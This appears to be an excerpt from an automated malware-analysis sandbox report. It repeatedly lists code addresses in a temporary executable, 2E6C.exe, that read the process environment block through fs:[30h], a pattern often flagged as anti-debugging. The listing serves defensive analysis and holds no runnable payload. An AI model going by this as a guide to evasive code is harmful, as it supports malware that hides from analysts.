Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CECB581 mov eax, dword ptr fs:[00000030h]	29_2_6CECB581
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CECB581 mov eax, dword ptr fs:[00000030h]	29_2_6CECB581
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE03591 mov eax, dword ptr fs:[00000030h]	29_2_6CE03591
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2C577 mov eax, dword ptr fs:[00000030h]	29_2_6CE2C577
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2C577 mov eax, dword ptr fs:[00000030h]	29_2_6CE2C577
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEB3D40 mov eax, dword ptr fs:[00000030h]	29_2_6CEB3D40
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0354C mov eax, dword ptr fs:[00000030h]	29_2_6CE0354C
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0354C mov eax, dword ptr fs:[00000030h]	29_2_6CE0354C
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE27D50 mov eax, dword ptr fs:[00000030h]	29_2_6CE27D50
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE31520 mov eax, dword ptr fs:[00000030h]	29_2_6CE31520
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE31520 mov eax, dword ptr fs:[00000030h]	29_2_6CE31520
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE31520 mov eax, dword ptr fs:[00000030h]	29_2_6CE31520
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE31520 mov eax, dword ptr fs:[00000030h]	29_2_6CE31520
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE31520 mov eax, dword ptr fs:[00000030h]	29_2_6CE31520
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0AD30 mov eax, dword ptr fs:[00000030h]	29_2_6CE0AD30
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE34D3B mov eax, dword ptr fs:[00000030h]	29_2_6CE34D3B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE34D3B mov eax, dword ptr fs:[00000030h]	29_2_6CE34D3B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE34D3B mov eax, dword ptr fs:[00000030h]	29_2_6CE34D3B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED8D34 mov eax, dword ptr fs:[00000030h]	29_2_6CED8D34
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC3518 mov eax, dword ptr fs:[00000030h]	29_2_6CEC3518
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC3518 mov eax, dword ptr fs:[00000030h]	29_2_6CEC3518
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC3518 mov eax, dword ptr fs:[00000030h]	29_2_6CEC3518
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0F51D mov eax, dword ptr fs:[00000030h]	29_2_6CE0F51D
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE43EE4 mov eax, dword ptr fs:[00000030h]	29_2_6CE43EE4
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE43EE4 mov eax, dword ptr fs:[00000030h]	29_2_6CE43EE4
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE43EE4 mov eax, dword ptr fs:[00000030h]	29_2_6CE43EE4
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE316E0 mov ecx, dword ptr fs:[00000030h]	29_2_6CE316E0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE336CC mov eax, dword ptr fs:[00000030h]	29_2_6CE336CC
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED8ED6 mov eax, dword ptr fs:[00000030h]	29_2_6CED8ED6
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE92EA3 mov eax, dword ptr fs:[00000030h]	29_2_6CE92EA3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE846A7 mov eax, dword ptr fs:[00000030h]	29_2_6CE846A7
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE03E80 mov eax, dword ptr fs:[00000030h]	29_2_6CE03E80
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE03E80 mov eax, dword ptr fs:[00000030h]	29_2_6CE03E80
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3DE9E mov eax, dword ptr fs:[00000030h]	29_2_6CE3DE9E
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3DE9E mov eax, dword ptr fs:[00000030h]	29_2_6CE3DE9E
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3DE9E mov eax, dword ptr fs:[00000030h]	29_2_6CE3DE9E
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE33E70 mov eax, dword ptr fs:[00000030h]	29_2_6CE33E70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE40E21 mov eax, dword ptr fs:[00000030h]	29_2_6CE40E21
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE85623 mov eax, dword ptr fs:[00000030h]	29_2_6CE85623
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE85623 mov eax, dword ptr fs:[00000030h]	29_2_6CE85623
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE85623 mov eax, dword ptr fs:[00000030h]	29_2_6CE85623
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE85623 mov eax, dword ptr fs:[00000030h]	29_2_6CE85623
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE85623 mov eax, dword ptr fs:[00000030h]	29_2_6CE85623
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE85623 mov eax, dword ptr fs:[00000030h]	29_2_6CE85623
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE85623 mov eax, dword ptr fs:[00000030h]	29_2_6CE85623
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE85623 mov eax, dword ptr fs:[00000030h]	29_2_6CE85623
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE85623 mov eax, dword ptr fs:[00000030h]	29_2_6CE85623
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEBFE3F mov eax, dword ptr fs:[00000030h]	29_2_6CEBFE3F
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0A63B mov eax, dword ptr fs:[00000030h]	29_2_6CE0A63B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0A63B mov eax, dword ptr fs:[00000030h]	29_2_6CE0A63B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0C600 mov eax, dword ptr fs:[00000030h]	29_2_6CE0C600
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0C600 mov eax, dword ptr fs:[00000030h]	29_2_6CE0C600
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0C600 mov eax, dword ptr fs:[00000030h]	29_2_6CE0C600
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE92E14 mov eax, dword ptr fs:[00000030h]	29_2_6CE92E14
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE337EB mov eax, dword ptr fs:[00000030h]	29_2_6CE337EB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE337EB mov eax, dword ptr fs:[00000030h]	29_2_6CE337EB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE337EB mov eax, dword ptr fs:[00000030h]	29_2_6CE337EB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE337EB mov eax, dword ptr fs:[00000030h]	29_2_6CE337EB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE337EB mov eax, dword ptr fs:[00000030h]	29_2_6CE337EB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE337EB mov eax, dword ptr fs:[00000030h]	29_2_6CE337EB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE337EB mov eax, dword ptr fs:[00000030h]	29_2_6CE337EB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE437F5 mov eax, dword ptr fs:[00000030h]	29_2_6CE437F5
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE03FC5 mov eax, dword ptr fs:[00000030h]	29_2_6CE03FC5
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE03FC5 mov eax, dword ptr fs:[00000030h]	29_2_6CE03FC5
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE03FC5 mov eax, dword ptr fs:[00000030h]	29_2_6CE03FC5
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE02FB0 mov eax, dword ptr fs:[00000030h]	29_2_6CE02FB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE02FB0 mov eax, dword ptr fs:[00000030h]	29_2_6CE02FB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE02FB0 mov eax, dword ptr fs:[00000030h]	29_2_6CE02FB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE02FB0 mov ecx, dword ptr fs:[00000030h]	29_2_6CE02FB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE02FB0 mov eax, dword ptr fs:[00000030h]	29_2_6CE02FB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE02FB0 mov eax, dword ptr fs:[00000030h]	29_2_6CE02FB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE02FB0 mov eax, dword ptr fs:[00000030h]	29_2_6CE02FB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE02FB0 mov eax, dword ptr fs:[00000030h]	29_2_6CE02FB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE02FB0 mov eax, dword ptr fs:[00000030h]	29_2_6CE02FB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE02FB0 mov eax, dword ptr fs:[00000030h]	29_2_6CE02FB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE02FB0 mov eax, dword ptr fs:[00000030h]	29_2_6CE02FB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2E760 mov eax, dword ptr fs:[00000030h]	29_2_6CE2E760
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2E760 mov eax, dword ptr fs:[00000030h]	29_2_6CE2E760
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED8F6A mov eax, dword ptr fs:[00000030h]	29_2_6CED8F6A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE32F70 mov eax, dword ptr fs:[00000030h]	29_2_6CE32F70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE32F70 mov eax, dword ptr fs:[00000030h]	29_2_6CE32F70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE32F70 mov eax, dword ptr fs:[00000030h]	29_2_6CE32F70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE32F70 mov eax, dword ptr fs:[00000030h]	29_2_6CE32F70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE32F70 mov eax, dword ptr fs:[00000030h]	29_2_6CE32F70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE32F70 mov eax, dword ptr fs:[00000030h]	29_2_6CE32F70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE32F70 mov eax, dword ptr fs:[00000030h]	29_2_6CE32F70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0A745 mov eax, dword ptr fs:[00000030h]	29_2_6CE0A745
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3DF4C mov eax, dword ptr fs:[00000030h]	29_2_6CE3DF4C
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE04F2E mov eax, dword ptr fs:[00000030h]	29_2_6CE04F2E
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE04F2E mov eax, dword ptr fs:[00000030h]	29_2_6CE04F2E
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE06730 mov eax, dword ptr fs:[00000030h]	29_2_6CE06730
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE06730 mov eax, dword ptr fs:[00000030h]	29_2_6CE06730
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE06730 mov eax, dword ptr fs:[00000030h]	29_2_6CE06730
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3E730 mov eax, dword ptr fs:[00000030h]	29_2_6CE3E730
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2B73D mov eax, dword ptr fs:[00000030h]	29_2_6CE2B73D
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2B73D mov eax, dword ptr fs:[00000030h]	29_2_6CE2B73D
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE34710 mov eax, dword ptr fs:[00000030h]	29_2_6CE34710
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2F716 mov eax, dword ptr fs:[00000030h]	29_2_6CE2F716
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE9FF10 mov eax, dword ptr fs:[00000030h]	29_2_6CE9FF10
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE9FF10 mov eax, dword ptr fs:[00000030h]	29_2_6CE9FF10
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE040E1 mov eax, dword ptr fs:[00000030h]	29_2_6CE040E1
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE040E1 mov eax, dword ptr fs:[00000030h]	29_2_6CE040E1
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE040E1 mov eax, dword ptr fs:[00000030h]	29_2_6CE040E1
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2B8E4 mov eax, dword ptr fs:[00000030h]	29_2_6CE2B8E4
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2B8E4 mov eax, dword ptr fs:[00000030h]	29_2_6CE2B8E4
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE058EC mov eax, dword ptr fs:[00000030h]	29_2_6CE058EC
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE128FD mov eax, dword ptr fs:[00000030h]	29_2_6CE128FD
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE128FD mov eax, dword ptr fs:[00000030h]	29_2_6CE128FD
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE128FD mov eax, dword ptr fs:[00000030h]	29_2_6CE128FD
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE070C0 mov eax, dword ptr fs:[00000030h]	29_2_6CE070C0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE070C0 mov eax, dword ptr fs:[00000030h]	29_2_6CE070C0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE490AF mov eax, dword ptr fs:[00000030h]	29_2_6CE490AF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE128AE mov eax, dword ptr fs:[00000030h]	29_2_6CE128AE
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE128AE mov eax, dword ptr fs:[00000030h]	29_2_6CE128AE
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE128AE mov eax, dword ptr fs:[00000030h]	29_2_6CE128AE
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE128AE mov ecx, dword ptr fs:[00000030h]	29_2_6CE128AE
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE128AE mov eax, dword ptr fs:[00000030h]	29_2_6CE128AE
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE128AE mov eax, dword ptr fs:[00000030h]	29_2_6CE128AE
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3F0BF mov ecx, dword ptr fs:[00000030h]	29_2_6CE3F0BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3F0BF mov eax, dword ptr fs:[00000030h]	29_2_6CE3F0BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3F0BF mov eax, dword ptr fs:[00000030h]	29_2_6CE3F0BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE03880 mov eax, dword ptr fs:[00000030h]	29_2_6CE03880
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE03880 mov eax, dword ptr fs:[00000030h]	29_2_6CE03880
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2F86D mov eax, dword ptr fs:[00000030h]	29_2_6CE2F86D
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED1074 mov eax, dword ptr fs:[00000030h]	29_2_6CED1074
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC2073 mov eax, dword ptr fs:[00000030h]	29_2_6CEC2073
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE05050 mov eax, dword ptr fs:[00000030h]	29_2_6CE05050
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE05050 mov eax, dword ptr fs:[00000030h]	29_2_6CE05050
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE05050 mov eax, dword ptr fs:[00000030h]	29_2_6CE05050
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE07055 mov eax, dword ptr fs:[00000030h]	29_2_6CE07055
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE34020 mov edi, dword ptr fs:[00000030h]	29_2_6CE34020
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A830 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A830
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A830 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A830
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A830 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A830
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2A830 mov eax, dword ptr fs:[00000030h]	29_2_6CE2A830
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE06800 mov eax, dword ptr fs:[00000030h]	29_2_6CE06800
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE06800 mov eax, dword ptr fs:[00000030h]	29_2_6CE06800
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE06800 mov eax, dword ptr fs:[00000030h]	29_2_6CE06800
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE18800 mov eax, dword ptr fs:[00000030h]	29_2_6CE18800
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEDF019 mov eax, dword ptr fs:[00000030h]	29_2_6CEDF019
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEDF019 mov eax, dword ptr fs:[00000030h]	29_2_6CEDF019
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED4015 mov eax, dword ptr fs:[00000030h]	29_2_6CED4015
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED4015 mov eax, dword ptr fs:[00000030h]	29_2_6CED4015
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0F018 mov eax, dword ptr fs:[00000030h]	29_2_6CE0F018
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0F018 mov eax, dword ptr fs:[00000030h]	29_2_6CE0F018
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE031E0 mov eax, dword ptr fs:[00000030h]	29_2_6CE031E0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE941E8 mov eax, dword ptr fs:[00000030h]	29_2_6CE941E8
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0B1E1 mov eax, dword ptr fs:[00000030h]	29_2_6CE0B1E1
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0B1E1 mov eax, dword ptr fs:[00000030h]	29_2_6CE0B1E1
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0B1E1 mov eax, dword ptr fs:[00000030h]	29_2_6CE0B1E1
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED89E7 mov eax, dword ptr fs:[00000030h]	29_2_6CED89E7
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE361A0 mov eax, dword ptr fs:[00000030h]	29_2_6CE361A0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE361A0 mov eax, dword ptr fs:[00000030h]	29_2_6CE361A0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC49A4 mov eax, dword ptr fs:[00000030h]	29_2_6CEC49A4
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC49A4 mov eax, dword ptr fs:[00000030h]	29_2_6CEC49A4
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC49A4 mov eax, dword ptr fs:[00000030h]	29_2_6CEC49A4
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC49A4 mov eax, dword ptr fs:[00000030h]	29_2_6CEC49A4
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE299BF mov ecx, dword ptr fs:[00000030h]	29_2_6CE299BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE299BF mov ecx, dword ptr fs:[00000030h]	29_2_6CE299BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE299BF mov eax, dword ptr fs:[00000030h]	29_2_6CE299BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE299BF mov ecx, dword ptr fs:[00000030h]	29_2_6CE299BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE299BF mov ecx, dword ptr fs:[00000030h]	29_2_6CE299BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE299BF mov eax, dword ptr fs:[00000030h]	29_2_6CE299BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE299BF mov ecx, dword ptr fs:[00000030h]	29_2_6CE299BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE299BF mov ecx, dword ptr fs:[00000030h]	29_2_6CE299BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE299BF mov eax, dword ptr fs:[00000030h]	29_2_6CE299BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE299BF mov ecx, dword ptr fs:[00000030h]	29_2_6CE299BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE299BF mov ecx, dword ptr fs:[00000030h]	29_2_6CE299BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE299BF mov eax, dword ptr fs:[00000030h]	29_2_6CE299BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2C182 mov eax, dword ptr fs:[00000030h]	29_2_6CE2C182
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CECA189 mov eax, dword ptr fs:[00000030h]	29_2_6CECA189
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CECA189 mov ecx, dword ptr fs:[00000030h]	29_2_6CECA189
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3A185 mov eax, dword ptr fs:[00000030h]	29_2_6CE3A185
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE34190 mov eax, dword ptr fs:[00000030h]	29_2_6CE34190
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0519E mov eax, dword ptr fs:[00000030h]	29_2_6CE0519E
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0519E mov ecx, dword ptr fs:[00000030h]	29_2_6CE0519E
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED8966 mov eax, dword ptr fs:[00000030h]	29_2_6CED8966
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CECE962 mov eax, dword ptr fs:[00000030h]	29_2_6CECE962
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0B171 mov eax, dword ptr fs:[00000030h]	29_2_6CE0B171
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0B171 mov eax, dword ptr fs:[00000030h]	29_2_6CE0B171
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2B944 mov eax, dword ptr fs:[00000030h]	29_2_6CE2B944
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2B944 mov eax, dword ptr fs:[00000030h]	29_2_6CE2B944
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0395E mov eax, dword ptr fs:[00000030h]	29_2_6CE0395E
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0395E mov eax, dword ptr fs:[00000030h]	29_2_6CE0395E
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE03138 mov ecx, dword ptr fs:[00000030h]	29_2_6CE03138
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3513A mov eax, dword ptr fs:[00000030h]	29_2_6CE3513A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3513A mov eax, dword ptr fs:[00000030h]	29_2_6CE3513A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE09100 mov eax, dword ptr fs:[00000030h]	29_2_6CE09100
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE09100 mov eax, dword ptr fs:[00000030h]	29_2_6CE09100
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE09100 mov eax, dword ptr fs:[00000030h]	29_2_6CE09100
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE10100 mov eax, dword ptr fs:[00000030h]	29_2_6CE10100
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE10100 mov eax, dword ptr fs:[00000030h]	29_2_6CE10100
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE10100 mov eax, dword ptr fs:[00000030h]	29_2_6CE10100
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC4AEF mov eax, dword ptr fs:[00000030h]	29_2_6CEC4AEF
